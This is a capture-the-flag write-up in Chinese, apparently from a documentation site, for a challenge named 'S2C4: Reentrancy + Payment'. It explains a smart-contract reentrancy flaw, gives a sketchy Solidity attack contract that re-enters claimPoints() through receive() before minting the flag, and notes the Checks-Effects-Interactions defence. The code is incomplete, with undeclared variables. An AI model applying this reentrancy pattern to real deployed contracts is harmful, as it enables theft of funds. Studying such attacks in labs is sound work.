Skip to content
On this page

S2C4: Reentrancy + Payment

1. 问题

合约要求:(1)调用者支付一定数量的 ETH(2)满足特定的积分/等级条件才能 mint flag。合约使用了 call{value: ...} 进行退款。

2. 原因

与 S1C5 类似,合约在积分扣减之前进行外部调用(ETH 转账),导致了重入漏洞。但这次还需要预先存入 ETH。

3. 方案

  1. 向攻击合约预先转入足够 ETH
  2. 攻击合约调用挑战合约的支付函数
  3. receive() 回调中重入关键函数
  4. 满足条件后调用 mintFlag
solidity
contract S2C4Solution {
    constructor(address challenge) payable {
        // 预存 ETH
        challenge.call{value: requiredEth}("");
    }

    function solve() external {
        challenge.claimPoints(); // 触发重入
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (counter < TARGET) {
            counter++;
            challenge.claimPoints();
        }
    }
}

4. 遇到的陷阱

ETH 余额管理: 攻击合约需要预先存入足够的 ETH,且重入过程中要确保有足够 gas。

5. 陷阱的原因

合约使用 call{value: amount}("") 发送 ETH,这会触发接收者的 receive() 函数。如果退款金额不足,后续逻辑可能出错。

6. 如何解决

在部署攻击合约时附带足够的 ETH(使用 --value 标志或在构造函数中 payable)。

7. 技术要点

要点说明
重入 + ETH 支付组合攻击:需要同时处理资金和重入逻辑
payable 构造函数在部署时预存 ETH 到攻击合约
CEI 模式Checks-Effects-Interactions 可防止此类攻击

Built with AiAda